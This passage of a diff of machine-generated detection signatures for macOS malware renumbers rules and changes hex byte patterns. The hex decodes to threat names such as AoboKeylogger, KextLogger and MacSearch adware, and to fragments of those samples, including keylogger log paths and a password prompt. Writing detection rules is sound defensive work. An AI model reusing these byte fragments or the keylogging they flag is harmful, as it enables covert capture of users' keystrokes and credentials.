03 00 8d f4 00 00 02 00 02 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 61 63 4f 53 2f 53 41 67 6e 74 2e 46 21 4d 54 42 00 01 00 71 01 48 8b 7d d8 4c 39 ff 0f 8d 53 01 00 00 45 31 f6 48 89 f8 31 db 48 85 ff 0f 88 37 01 00 00 41 8a 4c 04 08 8d 51 d0 80 fa 0a 73 4d 0f b6 c9 89 da 48 c1 eb 20 48 01 d2 48 8d 14 92 89 d6 48 c1 ea 20 48 8d 1c } //-1 - $a_14_4 = {48 89 d3 48 c1 eb 20 48 c1 e2 20 48 09 f2 4d 01 f6 4f 8d 34 b6 48 83 c1 d0 48 01 d1 49 11 de 48 89 cb 48 ff c0 49 39 c7 01 00 54 01 49 d3 e2 4c 89 d7 48 c1 ef 20 48 89 f0 31 d2 48 f7 f7 49 89 c1 48 89 d0 45 89 d7 45 89 c3 4c 89 ca 49 0f af d7 4c 0f a4 c0 20 48 39 d0 73 25 4c 01 d0 4c 39 d0 41 0f 93 c0 48 39 d0 0f 92 c3 31 f6 44 20 c3 49 0f 45 f2 48 01 f0 0f b6 f3 48 f7 d6 49 01 f1 00 00 8d f4 00 00 02 00 02 00 05 00 21 } //18587 + $a_cb_3 = {0f b6 d2 41 8a 0c 3a 44 30 f9 44 30 c9 88 8d a4 fe ff ff 00 00 03 00 8d f4 00 00 02 00 02 00 05 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 41 6f 62 6f 4b 65 79 6c 6f 67 67 65 72 2e 43 00 01 00 1f 00 2f 61 6f 62 6f 6b 65 79 6c 6f 67 67 65 72 2f 53 68 6f 72 74 63 75 74 52 65 63 6f 72 64 65 72 01 00 15 00 6b 65 79 4c 6f 67 67 65 72 56 69 65 77 4c 6f 67 53 61 76 65 3a 01 00 19 00 2f 74 6d } //-1 + $a_6d_4 = {63 2f 4c 6f 67 67 65 64 4b 65 79 73 2e 68 74 6d 6c 01 00 2b 00 2f 41 6d 61 63 20 4b 65 79 6c 6f 67 67 65 72 2f 41 6d 61 63 5f 4b 65 79 6c 6f 67 67 65 72 41 70 70 44 65 6c 65 67 61 74 65 2e 6d 01 00 3a 00 50 6c 65 61 73 65 20 74 79 70 65 20 6d 6f 72 65 20 74 68 61 6e 20 32 30 30 20 6b 65 79 } //12144 condition: - ((#a_46_0 & 1)*16675+(#a_75_2 & 1)*26485+(#a_cb_3 & 1)*-1+(#a_14_4 & 1)*18587) >=4 + ((#a_46_0 & 1)*16675+(#a_75_2 & 1)*26485+(#a_cb_3 & 1)*-1+(#a_6d_4 & 1)*12144) >=4 } -rule _InfrastructureShared_21445{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 61 63 4f 53 2f 53 41 67 6e 74 2e 46 21 4d 54 42 00 01 00 71 01 48 8b 7d d8 4c 39 ff 0f 8d 53 01 00 00 45 31 f6 48 89 f8 31 db 48 85 ff 0f 88 37 01 00 00 41 8a 4c 04 08 8d 51 d0 80 fa } //21539 - $a_0f_1 = {b6 c9 89 da 48 c1 eb 20 48 01 d2 48 8d 14 92 89 d6 48 c1 ea 20 48 8d 1c 9b 48 8d 14 5a 48 89 d3 48 c1 eb 20 48 c1 e2 20 48 09 f2 4d 01 f6 4f 8d 34 b6 48 83 c1 d0 48 01 d1 49 11 de 48 89 cb 48 ff c0 49 39 c7 01 00 54 01 49 d3 e2 4c } //29450 - condition: - ((#a_4c_0 & 1)*21539+(#a_0f_1 & 1)*29450) >=2 - -} -rule _InfrastructureShared_21446{ +rule _InfrastructureShared_22727{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 05 00 21 " @@ -282969,7 +299394,7 @@ rule _InfrastructureShared_21446{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*29285+(#a_65_3 & 1)*24933+(#a_00_4 & 1)*29477) >=2 } -rule _InfrastructureShared_21447{ +rule _InfrastructureShared_22728{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,0e 00 0e 00 09 00 21 " @@ -282987,7 +299412,7 @@ rule _InfrastructureShared_21447{ ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*18036+(#a_70_2 & 1)*17268+(#a_2f_3 & 1)*25971+(#a_01_4 & 1)*9533+(#a_45_5 & 1)*17996+(#a_63_6 & 1)*29285+(#a_20_7 & 1)*25955+(#a_00_8 & 1)*5) >=14 } -rule _InfrastructureShared_21448{ +rule _InfrastructureShared_22729{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 05 00 21 " @@ -283000,7 +299425,7 @@ rule _InfrastructureShared_21448{ ((#a_46_0 & 1)*16675+(#a_79_1 & 1)*19200+(#a_63_3 & 1)*8300+(#a_6c_4 & 1)*12153) >=3 } -rule _InfrastructureShared_21449{ +rule _InfrastructureShared_22730{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,06 00 06 00 05 00 21 " @@ -283009,26 +299434,40 @@ rule _InfrastructureShared_21449{ $a_70_1 = {6e 65 72 2e 63 6f 6d 2f 75 70 64 61 74 65 2f 02 00 3d 00 4c 69 62 72 61 72 79 2f 41 70 70 6c 69 63 61 74 69 6f 6e 20 53 75 70 70 6f 72 74 2f 41 64 76 61 6e 63 65 64 20 4d 61 63 20 43 6c 65 61 6e 65 72 2f 70 61 72 61 6d 73 2e 70 6c 69 73 74 01 00 23 00 54 65 63 68 79 75 74 69 6c 73 20 53 6f 66 74 77 61 72 65 20 50 72 69 76 61 74 65 } //25964 $a_6d_2 = {74 65 64 01 00 1a 00 63 6f 6d 2e 70 63 76 61 72 6b 2e 4d 61 63 2d 46 69 6c 65 2d 4f 70 65 6e 65 72 00 00 03 00 8d f7 00 00 05 00 05 00 05 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 41 6f 62 6f 4b 65 79 6c 6f 67 67 65 72 2e 44 00 01 00 15 00 2f 6b 65 79 6c 6f 67 67 65 72 2f 73 6b 79 70 65 6c 6f } //19488 $a_01_3 = {00 57 02 2f 6b 65 79 6c 6f 67 67 65 72 2f 62 75 69 6c 64 2f 4b 65 79 4c 6f 67 67 65 72 2e 62 75 69 6c 64 2f 52 65 6c 65 61 73 65 2f 73 6b 79 70 65 6c 6f 67 2e 62 75 69 6c 64 2f 4f 62 6a 65 63 74 73 2d 6e 6f 72 6d 61 6c 2f 90 02 04 2f 73 6b 79 70 65 6c 6f 67 2e 6f 90 00 01 00 0f 01 53 6b 79 70 65 } //11879 - $a_64_4 = {65 63 6f 72 64 01 00 18 00 46 72 61 63 74 69 6f 6e 61 6c 20 53 6b 79 70 65 20 72 65 63 6f 72 64 2e 01 00 22 00 52 65 63 6f 72 64 20 6c 65 6e 67 74 68 3a 20 25 6c 64 20 62 79 74 65 73 20 28 30 78 25 30 38 6c 78 29 00 00 04 00 8d f8 00 00 04 00 04 00 05 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 4b 65 78 74 4c } //26950 + $a_64_4 = {65 63 6f 72 64 01 00 18 00 46 72 61 63 74 69 6f 6e 61 6c 20 53 6b 79 70 65 20 72 65 63 6f 72 64 2e 01 00 22 00 52 65 63 6f 72 64 20 6c 65 6e 67 74 68 3a 20 25 6c 64 20 62 79 74 65 73 20 28 30 78 25 30 38 6c 78 29 00 00 04 00 8d f7 00 00 06 00 06 00 06 00 21 23 54 45 4c 3a 41 64 77 61 72 65 3a 4d 61 63 4f 53 2f 4d 61 63 53 65 61 } //26950 condition: ((#a_46_0 & 1)*16675+(#a_70_1 & 1)*25964+(#a_6d_2 & 1)*19488+(#a_01_3 & 1)*11879+(#a_64_4 & 1)*26950) >=6 } -rule _InfrastructureShared_21450{ +rule _InfrastructureShared_22731{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_46_0 = {45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 41 6f 62 6f 4b 65 79 6c 6f 67 67 65 72 2e 44 00 01 00 15 00 2f 6b 65 79 6c 6f 67 67 65 72 2f 73 6b 79 70 65 6c 6f 67 2e 63 01 00 57 02 2f 6b 65 79 6c 6f 67 67 65 72 2f 62 75 69 6c 64 2f } //16675 $a_4c_1 = {67 67 65 72 2e 62 75 69 6c 64 2f 52 65 6c 65 61 73 65 2f 73 6b 79 70 65 6c 6f 67 2e 62 75 69 6c 64 2f 4f 62 6a 65 63 74 73 2d 6e 6f 72 6d 61 6c 2f 90 02 04 2f 73 6b 79 70 65 6c 6f 67 2e 6f 90 00 01 00 0f 01 53 6b 79 70 65 46 69 6e 64 52 65 63 6f 72 64 01 00 18 00 46 72 61 63 74 69 6f 6e 61 6c 20 53 6b 79 70 65 20 72 65 63 6f 72 64 2e 01 00 22 00 52 65 63 6f 72 } //25931 - $a_65_2 = {67 74 68 3a 20 25 6c 64 20 62 79 74 65 73 20 28 30 78 25 30 38 6c 78 29 00 00 04 00 8d f8 00 00 04 00 04 00 05 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 4b 65 78 74 4c 6f 67 67 65 72 2e 41 00 01 00 38 00 2f 4c 69 62 72 61 72 79 2f 50 72 65 66 65 72 65 6e 63 65 73 2f 4c 69 62 72 61 72 79 2f 50 72 65 66 } //8292 - $a_6e_3 = {65 73 2f 63 6f 6d 2e 66 73 62 2e 6c 6f 67 4b 65 78 74 01 00 0e 00 6c 6f 67 4b 65 78 74 50 61 73 73 4b 65 79 01 00 18 00 2f 44 65 73 6b 74 6f 70 2f 6f 75 74 5f 6c 6f 67 46 69 6c 65 2e 74 78 74 01 00 11 00 6c 6f 67 4b 65 78 74 20 50 61 73 73 77 6f 72 64 3a 01 00 4a 00 4c 6f 67 67 69 6e 67 20 63 6f 6e 74 } //29285 - $a_73_4 = {77 68 65 74 68 65 72 20 74 68 65 20 64 61 65 6d 6f 6e 20 69 73 20 6c 6f 67 67 69 6e 67 20 6b 65 79 73 74 72 6f 6b 65 73 20 28 64 65 66 61 75 6c 74 20 69 73 20 6f 6e 29 2e 00 00 03 00 8d f9 00 00 03 00 03 00 04 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 47 65 6e 69 65 6f 2e 4d 00 01 00 17 00 63 6f 6d 2e } //28530 + $a_65_2 = {67 74 68 3a 20 25 6c 64 20 62 79 74 65 73 20 28 30 78 25 30 38 6c 78 29 00 00 04 00 8d f7 00 00 06 00 06 00 06 00 21 23 54 45 4c 3a 41 64 77 61 72 65 3a 4d 61 63 4f 53 2f 4d 61 63 53 65 61 72 63 68 2e 41 42 00 01 00 23 00 58 5f 5f 50 50 49 4f 53 5f 44 4f 55 42 4c 45 5f 4f 42 46 55 53 43 41 54 49 4f 4e 5f 47 55 41 52 44 5f } //8292 + $a_6c_4 = {74 66 6f 72 6d 45 78 70 65 72 74 44 65 76 69 63 65 01 00 09 00 6d 61 63 73 65 61 72 63 68 01 00 10 00 2f 75 73 72 2f 62 69 6e 2f 63 73 72 75 74 69 6c 01 00 31 00 2f 4c 69 62 72 61 72 79 2f 41 70 70 6c 69 63 61 74 69 6f 6e 20 53 75 70 70 6f } //20297 condition: - ((#a_46_0 & 1)*16675+(#a_4c_1 & 1)*25931+(#a_65_2 & 1)*8292+(#a_6e_3 & 1)*29285+(#a_73_4 & 1)*28530) >=5 + ((#a_46_0 & 1)*16675+(#a_4c_1 & 1)*25931+(#a_65_2 & 1)*8292+(#a_6c_4 & 1)*20297) >=5 } -rule _InfrastructureShared_21451{ +rule _InfrastructureShared_22732{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,06 00 06 00 06 00 21 " + + strings : + $a_4c_0 = {41 64 77 61 72 65 3a 4d 61 63 4f 53 2f 4d 61 63 53 65 61 72 63 68 2e 41 42 00 01 00 23 00 58 5f 5f 50 50 49 4f 53 5f 44 4f 55 42 4c 45 5f 4f 42 46 55 53 43 41 54 49 4f 4e 5f 47 55 41 52 44 5f 5f 01 00 16 00 } //21539 + $a_6c_1 = {74 66 6f 72 6d 45 78 70 65 72 74 44 65 76 69 63 65 01 00 09 00 6d 61 63 73 65 61 72 63 68 01 00 10 00 2f 75 73 72 2f 62 69 6e 2f 63 73 72 75 74 69 6c 01 00 31 00 2f 4c 69 62 72 61 72 79 2f 41 70 70 6c 69 63 61 74 69 6f 6e 20 53 75 70 70 6f } //20297 + $a_63_2 = {6d 2e 61 70 70 6c 65 2e 54 43 43 2f 54 43 43 2e 64 62 01 00 34 00 6f 70 65 6e 20 2d 61 20 73 61 66 61 72 69 20 2f 55 73 65 72 73 2f 53 68 61 } //29810 + $a_2f_3 = {61 66 61 72 69 53 65 74 74 65 72 2e 73 61 66 61 72 69 65 78 74 7a 00 00 8d f8 00 00 04 00 04 00 05 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 4b 65 78 74 4c 6f 67 67 65 72 2e 41 00 01 00 38 00 2f 4c 69 62 72 61 72 79 2f 50 72 65 66 65 72 65 6e 63 65 73 2f 4c 69 62 72 61 72 79 2f } //25970 + $a_66_4 = {72 65 6e 63 65 73 2f 63 6f 6d 2e 66 73 62 2e 6c 6f 67 4b 65 78 74 01 00 0e 00 6c 6f 67 4b 65 78 74 50 61 73 73 4b 65 79 01 00 18 00 2f 44 65 73 6b 74 6f 70 2f 6f 75 74 5f 6c 6f 67 46 69 6c 65 2e 74 78 74 01 00 11 00 6c 6f 67 4b 65 78 74 20 50 61 73 73 77 6f 72 64 3a 01 00 4a 00 4c 6f 67 67 69 6e 67 20 } //29264 + $a_74_5 = {6f 6c 73 20 77 68 65 74 68 65 72 20 74 68 65 20 64 61 65 6d 6f 6e 20 69 73 20 6c 6f 67 67 69 6e 67 20 6b 65 79 73 74 72 6f 6b 65 73 20 28 64 65 66 61 75 6c 74 20 69 73 20 6f 6e 29 2e 00 00 03 00 8d f9 00 00 03 00 03 00 04 00 21 23 41 4c 46 50 45 52 3a 48 53 54 52 3a 4d 61 63 4f 53 2f 47 65 6e 69 65 6f 2e 4d 00 01 00 17 00 63 6f } //28515 + condition: + ((#a_4c_0 & 1)*21539+(#a_6c_1 & 1)*20297+(#a_63_2 & 1)*29810+(#a_2f_3 & 1)*25970+(#a_66_4 & 1)*29264+(#a_74_5 & 1)*28515) >=6 + +} +rule _InfrastructureShared_22733{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 05 00 21 " @@ -283042,7 +299481,7 @@ rule _InfrastructureShared_21451{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*29542+(#a_20_2 & 1)*25960+(#a_68_3 & 1)*29281+(#a_01_4 & 1)*25965) >=4 } -rule _InfrastructureShared_21452{ +rule _InfrastructureShared_22734{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 04 00 21 " @@ -283055,7 +299494,7 @@ rule _InfrastructureShared_21452{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*27751+(#a_61_2 & 1)*16672+(#a_2e_3 & 1)*25709) >=3 } -rule _InfrastructureShared_21453{ +rule _InfrastructureShared_22735{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,06 00 06 00 06 00 21 " @@ -283070,7 +299509,7 @@ rule _InfrastructureShared_21453{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*16175+(#a_73_2 & 1)*24937+(#a_74_3 & 1)*11891+(#a_6f_4 & 1)*25716+(#a_61_5 & 1)*29185) >=6 } -rule _InfrastructureShared_21454{ +rule _InfrastructureShared_22736{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 06 00 21 " @@ -283085,7 +299524,7 @@ rule _InfrastructureShared_21454{ ((#a_46_0 & 1)*16675+(#a_66_1 & 1)*29541+(#a_72_2 & 1)*25697+(#a_74_3 & 1)*28524+(#a_3d_4 & 1)*8306+(#a_46_5 & 1)*16675) >=5 } -rule _InfrastructureShared_21455{ +rule _InfrastructureShared_22737{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 08 00 21 " @@ -283102,7 +299541,7 @@ rule _InfrastructureShared_21455{ ((#a_46_0 & 1)*16675+(#a_33_1 & 1)*9728+(#a_39_2 & 1)*14386+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_fd_6 & 1)*0+(#a_01_7 & 1)*-14011) >=3 } -rule _InfrastructureShared_21456{ +rule _InfrastructureShared_22738{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 05 00 21 " @@ -283116,7 +299555,7 @@ rule _InfrastructureShared_21456{ ((#a_46_0 & 1)*16675+(#a_c6_1 & 1)*400+(#a_c6_2 & 1)*400+(#a_c6_3 & 1)*400+(#a_c6_4 & 1)*400) >=5 } -rule _InfrastructureShared_21457{ +rule _InfrastructureShared_22739{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,08 00 08 00 05 00 21 " @@ -283130,7 +299569,7 @@ rule _InfrastructureShared_21457{ ((#a_46_0 & 1)*16675+(#a_43_1 & 1)*27749+(#a_73_2 & 1)*24951+(#a_69_3 & 1)*25954+(#a_01_4 & 1)*11877) >=8 } -rule _InfrastructureShared_21458{ +rule _InfrastructureShared_22740{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 05 00 21 " @@ -283144,7 +299583,7 @@ rule _InfrastructureShared_21458{ ((#a_46_0 & 1)*16675+(#a_42_1 & 1)*81+(#a_20_2 & 1)*17003+(#a_61_3 & 1)*29798+(#a_63_4 & 1)*25957) >=4 } -rule _InfrastructureShared_21459{ +rule _InfrastructureShared_22741{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 06 00 21 " @@ -283157,7 +299596,7 @@ rule _InfrastructureShared_21459{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*29811+(#a_3d_2 & 1)*16739+(#a_00_4 & 1)*1421) >=5 } -rule _InfrastructureShared_21460{ +rule _InfrastructureShared_22742{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 04 00 21 " @@ -283170,7 +299609,7 @@ rule _InfrastructureShared_21460{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-29368+(#a_fc_2 & 1)*-21111+(#a_37_3 & 1)*14181) >=4 } -rule _InfrastructureShared_21461{ +rule _InfrastructureShared_22743{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 07 00 21 " @@ -283186,7 +299625,7 @@ rule _InfrastructureShared_21461{ ((#a_46_0 & 1)*16675+(#a_37_1 & 1)*14181+(#a_63_2 & 1)*28001+(#a_00_3 & 1)*66+(#a_6c_4 & 1)*18176+(#a_00_5 & 1)*27756+(#a_df_6 & 1)*18435) >=5 } -rule _InfrastructureShared_21462{ +rule _InfrastructureShared_22744{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 06 00 21 " @@ -283201,7 +299640,7 @@ rule _InfrastructureShared_21462{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*31348+(#a_6e_2 & 1)*18176+(#a_d5_3 & 1)*16644+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=3 } -rule _InfrastructureShared_21463{ +rule _InfrastructureShared_22745{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 08 00 21 " @@ -283216,7 +299655,7 @@ rule _InfrastructureShared_21463{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*29549+(#a_72_2 & 1)*28673+(#a_3e_3 & 1)*28265+(#a_34_6 & 1)*11885+(#a_43_7 & 1)*16128) >=4 } -rule _InfrastructureShared_21464{ +rule _InfrastructureShared_22746{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 06 00 21 " @@ -283230,7 +299669,7 @@ rule _InfrastructureShared_21464{ ((#a_46_0 & 1)*16675+(#a_64_1 & 1)*26977+(#a_00_2 & 1)*144+(#a_74_3 & 1)*21250+(#a_70_5 & 1)*16687) >=5 } -rule _InfrastructureShared_21465{ +rule _InfrastructureShared_22747{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 05 00 21 " @@ -283244,7 +299683,7 @@ rule _InfrastructureShared_21465{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*11875+(#a_61_2 & 1)*11885+(#a_00_3 & 1)*1+(#a_00_4 & 1)*1) >=4 } -rule _InfrastructureShared_21466{ +rule _InfrastructureShared_22748{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,07 00 07 00 07 00 21 " @@ -283260,7 +299699,7 @@ rule _InfrastructureShared_21466{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*30821+(#a_72_2 & 1)*26473+(#a_63_3 & 1)*27951+(#a_6f_4 & 1)*32+(#a_53_5 & 1)*20063+(#a_02_6 & 1)*-28561) >=7 } -rule _InfrastructureShared_21467{ +rule _InfrastructureShared_22749{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 06 00 21 " @@ -283274,7 +299713,7 @@ rule _InfrastructureShared_21467{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*29816+(#a_6d_2 & 1)*29816+(#a_74_3 & 1)*28233+(#a_48_5 & 1)*16128) >=4 } -rule _InfrastructureShared_21468{ +rule _InfrastructureShared_22750{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,06 00 06 00 04 00 21 " @@ -283287,7 +299726,7 @@ rule _InfrastructureShared_21468{ ((#a_46_0 & 1)*16675+(#a_83_1 & 1)*26702+(#a_18_2 & 1)*-29367+(#a_f8_3 & 1)*-30392) >=6 } -rule _InfrastructureShared_21469{ +rule _InfrastructureShared_22751{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 04 00 21 " @@ -283300,7 +299739,7 @@ rule _InfrastructureShared_21469{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*-123+(#a_8d_2 & 1)*18448+(#a_48_3 & 1)*17345) >=5 } -rule _InfrastructureShared_21470{ +rule _InfrastructureShared_22752{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,02 00 02 00 02 00 21 " @@ -283311,7 +299750,7 @@ rule _InfrastructureShared_21470{ ((#a_4c_0 & 1)*21539+(#a_ff_1 & 1)*-6003) >=2 } -rule _InfrastructureShared_21471{ +rule _InfrastructureShared_22753{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 05 00 21 " @@ -283325,7 +299764,7 @@ rule _InfrastructureShared_21471{ ((#a_46_0 & 1)*16675+(#a_2e_1 & 1)*26996+(#a_74_2 & 1)*28015+(#a_75_3 & 1)*8291+(#a_63_4 & 1)*24933) >=4 } -rule _InfrastructureShared_21472{ +rule _InfrastructureShared_22754{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 06 00 21 " @@ -283339,7 +299778,7 @@ rule _InfrastructureShared_21472{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*28233+(#a_61_3 & 1)*21334+(#a_4e_4 & 1)*25344+(#a_58_5 & 1)*27244) >=3 } -rule _InfrastructureShared_21473{ +rule _InfrastructureShared_22755{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,05 00 05 00 03 00 21 " @@ -283351,7 +299790,7 @@ rule _InfrastructureShared_21473{ ((#a_46_0 & 1)*16675+(#a_32_1 & 1)*27478+(#a_47_2 & 1)*26198) >=5 } -rule _InfrastructureShared_21474{ +rule _InfrastructureShared_22756{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,07 00 07 00 07 00 21 " @@ -283367,7 +299806,7 @@ rule _InfrastructureShared_21474{ ((#a_46_0 & 1)*16675+(#a_67_1 & 1)*19571+(#a_00_2 & 1)*1+(#a_00_3 & 1)*0+(#a_00_4 & 1)*14+(#a_48_5 & 1)*21061+(#a_66_6 & 1)*29807) >=7 } -rule _InfrastructureShared_21475{ +rule _InfrastructureShared_22757{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,0e 00 0e 00 06 00 21 " @@ -283382,7 +299821,7 @@ rule _InfrastructureShared_21475{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*30308+(#a_77_2 & 1)*26707+(#a_6d_3 & 1)*29804+(#a_75_4 & 1)*29811+(#a_6b_5 & 1)*29300) >=14 } -rule _InfrastructureShared_21476{ +rule _InfrastructureShared_22758{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,06 00 06 00 04 00 21 " @@ -283395,7 +299834,7 @@ rule _InfrastructureShared_21476{ ((#a_46_0 & 1)*16675+(#a_3a_1 & 1)*29793+(#a_69_2 & 1)*24439+(#a_74_3 & 1)*30052) >=6 } -rule _InfrastructureShared_21477{ +rule _InfrastructureShared_22759{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 07 00 21 " @@ -283410,7 +299849,7 @@ rule _InfrastructureShared_21477{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*25971+(#a_6e_2 & 1)*24909+(#a_70_3 & 1)*8514+(#a_86_4 & 1)*-14593+(#a_65_6 & 1)*28233) >=3 } -rule _InfrastructureShared_21478{ +rule _InfrastructureShared_22760{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 03 00 21 " @@ -283422,7 +299861,7 @@ rule _InfrastructureShared_21478{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*-31096+(#a_68_2 & 1)*-14490) >=3 } -rule _InfrastructureShared_21479{ +rule _InfrastructureShared_22761{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,06 00 06 00 08 00 21 " @@ -283439,7 +299878,7 @@ rule _InfrastructureShared_21479{ ((#a_46_0 & 1)*16675+(#a_69_1 & 1)*29285+(#a_3a_2 & 1)*27753+(#a_64_3 & 1)*29305+(#a_01_4 & 1)*-30392+(#a_1f_5 & 1)*0+(#a_65_6 & 1)*8292+(#a_65_7 & 1)*26739) >=6 } -rule _InfrastructureShared_21480{ +rule _InfrastructureShared_22762{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 05 00 21 " @@ -283453,7 +299892,7 @@ rule _InfrastructureShared_21480{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*-30392+(#a_05_2 & 1)*-28533+(#a_05_3 & 1)*-28533+(#a_06_4 & 1)*-28535) >=4 } -rule _InfrastructureShared_21481{ +rule _InfrastructureShared_22763{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 08 00 21 " @@ -283469,7 +299908,7 @@ rule _InfrastructureShared_21481{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*23865+(#a_00_2 & 1)*27507+(#a_00_4 & 1)*97+(#a_65_5 & 1)*25345+(#a_6d_6 & 1)*25391+(#a_65_7 & 1)*25199) >=4 } -rule _InfrastructureShared_21482{ +rule _InfrastructureShared_22764{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,03 00 03 00 05 00 21 " @@ -283483,7 +299922,7 @@ rule _InfrastructureShared_21482{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*28781+(#a_26_2 & 1)*8293+(#a_65_3 & 1)*26983+(#a_00_4 & 1)*4) >=3 } -rule _InfrastructureShared_21483{ +rule _InfrastructureShared_22765{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 08 00 21 " @@ -283500,7 +299939,7 @@ rule _InfrastructureShared_21483{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*30313+(#a_55_2 & 1)*296+(#a_7b_3 & 1)*23297+(#a_4f_4 & 1)*24909+(#a_4d_5 & 1)*21062+(#a_5f_6 & 1)*25441+(#a_53_7 & 1)*14930) >=4 } -rule _InfrastructureShared_21484{ +rule _InfrastructureShared_22766{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,07 00 07 00 04 00 21 " @@ -283513,7 +299952,7 @@ rule _InfrastructureShared_21484{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*28271+(#a_73_2 & 1)*30329+(#a_46_3 & 1)*16675) >=7 } -rule _InfrastructureShared_21485{ +rule _InfrastructureShared_22767{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_MACHOHSTR_EXT,04 00 04 00 08 00 21 " @@ -283528,7 +299967,7 @@ rule _InfrastructureShared_21485{ ((#a_46_0 & 1)*16675+(#a_62_2 & 1)*19503+(#a_6f_3 & 1)*17+(#a_31_4 & 1)*25394+(#a_48_5 & 1)*21061+(#a_74_7 & 1)*24864) >=4 } -rule _InfrastructureShared_21486{ +rule _InfrastructureShared_22768{ meta: description = 